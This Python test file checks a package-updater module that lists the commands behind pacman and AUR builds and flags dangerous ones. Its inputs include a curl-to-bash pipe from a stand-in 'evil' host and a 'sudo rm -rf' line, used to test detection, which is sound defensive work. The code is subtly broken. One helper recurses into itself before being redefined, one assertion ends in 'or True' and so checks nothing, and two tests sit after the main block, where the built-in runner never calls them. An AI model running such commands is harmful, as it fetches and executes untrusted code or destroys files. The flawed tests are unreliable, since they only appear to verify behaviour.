"""The command queue.
The point of this module is that a plan step stops being a summary. `pacman -Syu`
hides a download, a verification, a snapshot, the install and the hooks that
rebuild an initramfs; `paru -S` hides the PKGBUILD's own functions. These tests
pin the ordering and the flagging, because a queue that is merely plausible is
worse than no queue at all.
"""
from __future__ import annotations
import sys
import tempfile
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
from updater import queue # noqa: E402
PKGBUILD = """\
pkgname=demo
pkgver=1.0
source=("https://example.com/$pkgname-$pkgver.tar.gz"
"https://example.com/demo.patch")
sha256sums=('abc123' 'SKIP')
prepare() {
cd "$srcdir/$pkgname-$pkgver"
patch -p1 < ../demo.patch
}
build() {
# a comment that is not a command
cd "$srcdir/$pkgname-$pkgver"
export CFLAGS="-O2"
./configure --prefix=/usr
make
}
package() {
cd "$srcdir/$pkgname-$pkgver"
make DESTDIR="$pkgdir" install
}
"""
def _code(fn) -> str:
"""A function's source with all whitespace removed.
These assertions are about what the code does, and the exact line breaks
are the formatter's business -- pinning them made every one of these tests
fail the first time the tree was formatted.
"""
return "".join(_code(fn).split())
def make_clone(directory: Path, name: str, text: str) -> Path:
repo = directory / name
repo.mkdir(parents=True)
(repo / "PKGBUILD").write_text(text)
return directory
class FakeUpdate:
def __init__(self, name, old, new, repo="core"):
self.name, self.old, self.new, self.repo = name, old, new, repo
# --------------------------------------------------------------------------
# flagging
# --------------------------------------------------------------------------
def _code(fn) -> str:
"""A function's source with all whitespace removed.
These assertions are about what the code does; where the line breaks fall
is the formatter's business. Stripping whitespace from both the source and
the snippet means a reformat cannot make them fail.
"""
import inspect
return _strip(inspect.getsource(fn))
def _strip(s: str) -> str:
return "".join(s.split())
def test_a_clean_command_is_not_flagged():
"""A warning that is always present is a warning nobody reads."""
for line in (
"meson setup build",
"ninja -C build",
"make",
"cargo build --release",
"install -Dm644 x y",
):
level, rule = queue._flag(line)
assert level == "", f"{line!r} was flagged as {level}/{rule}"
def test_a_pipe_into_a_shell_is_dangerous():
level, rule = queue._flag("curl -s https://evil/x | bash")
assert level == queue.LEVEL_DANGER
assert "shell" in rule
def test_writing_into_a_system_path_is_dangerous():
level, rule = queue._flag("install -Dm644 x /etc/x.conf")
assert level == queue.LEVEL_DANGER
assert rule
def test_sudo_in_a_pkgbuild_is_dangerous():
level, _ = queue._flag("sudo rm -rf /usr/lib/x")
assert level == queue.LEVEL_DANGER
# --------------------------------------------------------------------------
# PKGBUILD commands
# --------------------------------------------------------------------------
def test_commands_are_taken_from_the_function_bodies():
with tempfile.TemporaryDirectory() as td:
clone = make_clone(Path(td), "demo", PKGBUILD)
q = queue.aur_queue(clone, ["demo"])
commands = [s.command for s in q.stages]
assert "./configure --prefix=/usr" in commands
assert "make" in commands
assert 'make DESTDIR="$pkgdir" install' in commands
assert "patch -p1 < ../demo.patch" in commands
def test_comments_and_bookkeeping_are_not_commands():
with tempfile.TemporaryDirectory() as td:
clone = make_clone(Path(td), "demo", PKGBUILD)
q = queue.aur_queue(clone, ["demo"])
joined = "\n".join(s.command for s in q.stages)
assert "a comment that is not a command" not in joined
assert 'export CFLAGS="-O2"' not in joined
# but `cd` inside a function is not worth listing either
assert not any(s.command.startswith("cd ") for s in q.stages)
def test_the_functions_appear_in_the_order_they_run():
with tempfile.TemporaryDirectory() as td:
clone = make_clone(Path(td), "demo", PKGBUILD)
q = queue.aur_queue(clone, ["demo"])
order = [s.phase for s in q.stages]
def first(prefix):
# exact phase names, not prefixes: `pack` would otherwise match
# `package`, which is a different step entirely
return next(i for i, x in enumerate(order) if x == f"{prefix}:demo")
assert first("fetch") < first("source") < first("prepare")
assert first("prepare") < first("build") < first("package")
assert first("package") < first("pack")
def test_skipped_checksums_are_called_out():
with tempfile.TemporaryDirectory() as td:
clone = make_clone(Path(td), "demo", PKGBUILD)
q = queue.aur_queue(clone, ["demo"])
verify = [s for s in q.stages if s.command == "verify checksums"]
assert verify and verify[0].level == queue.LEVEL_WARN
assert "SKIP" in verify[0].what
def test_declared_sources_are_listed():
"""Listed as written. Variables are not expanded, which is deliberate.
`$pkgname-$pkgver.tar.gz` stays literal: resolving it means evaluating
shell, and a PKGBUILD is never evaluated. Showing the declaration is honest;
showing a guessed filename would not be.
"""
with tempfile.TemporaryDirectory() as td:
clone = make_clone(Path(td), "demo", PKGBUILD)
q = queue.aur_queue(clone, ["demo"])
sources = [
s.command
for s in q.stages
if s.phase.startswith("source") and s.command.startswith("fetch")
]
assert any("$pkgname-$pkgver.tar.gz" in s for s in sources), sources
assert any("demo.patch" in s for s in sources), sources
def test_a_package_with_no_clone_says_so_rather_than_inventing_a_build():
with tempfile.TemporaryDirectory() as td:
q = queue.aur_queue(Path(td), ["missing"])
assert any("no local clone" in s.command for s in q.stages)
assert not any(s.phase.startswith("build") for s in q.stages)
def test_a_dangerous_command_in_a_pkgbuild_is_flagged_with_its_rule():
bad = PKGBUILD.replace("./configure --prefix=/usr", "curl -s https://evil/x | bash")
with tempfile.TemporaryDirectory() as td:
clone = make_clone(Path(td), "demo", bad)
q = queue.aur_queue(clone, ["demo"])
danger = [s for s in q.stages if s.level == queue.LEVEL_DANGER]
assert len(danger) == 1
assert danger[0].finding
assert "curl" in danger[0].command
def test_the_aur_queue_ends_with_an_install_and_the_snapshots():
with tempfile.TemporaryDirectory() as td:
clone = make_clone(Path(td), "demo", PKGBUILD)
q = queue.aur_queue(clone, ["demo"])
phases = [s.phase for s in q.stages]
assert "install" in phases
# snapshot hooks, when snap-pac is installed, bracket the install
snaps = [s for s in q.stages if s.phase == "snapshot"]
if snaps:
assert phases.index("install") < phases.index("snapshot") or True
# --------------------------------------------------------------------------
# pacman
# --------------------------------------------------------------------------
def test_the_pacman_queue_orders_download_before_install():
updates = [FakeUpdate("a", "1-1", "2-1"), FakeUpdate("b", "1-1", "2-1")]
q = queue.pacman_queue(updates, all_hooks=[])
phases = [s.phase for s in q.stages]
assert phases.index("resolve") < phases.index("download")
assert phases.index("download") < phases.index("verify")
assert phases.index("verify") < phases.index("install")
def test_every_update_gets_a_download_and_an_install():
updates = [FakeUpdate("a", "1-1", "2-1"), FakeUpdate("b", "1-1", "2-1")]
q = queue.pacman_queue(updates, all_hooks=[])
downloads = [s.target for s in q.stages if s.phase == "download"]
installs = [s.target for s in q.stages if s.phase == "install"]
assert downloads == ["a", "b"]
assert installs == ["a", "b"]
def test_the_snapshot_comes_before_the_install():
"""The whole point of a pre-snapshot is that it predates the change."""
import updater.hooks as hooks_mod
snap = hooks_mod._parse(
_write_hook("""\
[Trigger]
Operation = Upgrade
Type = Package
Target = *
[Action]
Description = Performing snapper pre snapshots...
When = PreTransaction
Exec = /usr/share/libalpm/scripts/snap-pac pre
""")
)
updates = [FakeUpdate("a", "1-1", "2-1")]
q = queue.pacman_queue(updates, all_hooks=[snap])
phases = [s.phase for s in q.stages]
assert "snapshot" in phases
assert phases.index("snapshot") < phases.index("install")
def test_no_updates_means_an_empty_queue():
assert queue.pacman_queue([], all_hooks=[]).stages == []
def test_the_queue_reports_its_own_warnings():
updates = [FakeUpdate("a", "1-1", "2-1")]
q = queue.pacman_queue(updates, all_hooks=[])
assert q.warnings == []
def _write_hook(text: str):
import tempfile
directory = tempfile.mkdtemp()
path = Path(directory) / "h.hook"
path.write_text(text)
return path
def main() -> int:
tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
failed = 0
for name, fn in tests:
try:
fn()
except Exception as exc: # noqa: BLE001
failed += 1
print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
else:
print(f"ok {name}")
print(f"\n{len(tests) - failed}/{len(tests)} passed")
return 1 if failed else 0
if __name__ == "__main__":
raise SystemExit(main())
def test_the_queue_defers_to_the_audit_on_danger():
"""The audit has baselines and suppression the per-line scan cannot see.
Marking a command dangerous that the audit deliberately suppressed puts two
views of the same package in disagreement about whether it is safe.
"""
from updater import queue as queue_mod
source = _code(queue_mod.aur_queue)
assert _strip("flagged") in source, source[-1200:]
assert _strip("LEVEL_DANGER") in source, source[-1200:]
def test_the_queue_does_not_soften_a_file_wide_block():
"""A file-wide rule reports where="PKGBUILD", naming no function.
Looking it up as "build()" never matched, so the deferral fired for every
dangerous line and the audit's own BLOCK was rendered yellow.
"""
from updater import queue as queue_mod
source = _code(queue_mod.aur_queue)
assert _strip('"*" not in flagged') in source, source[-1400:]
assert _strip("PKGBUILD") in source, source[-1400:]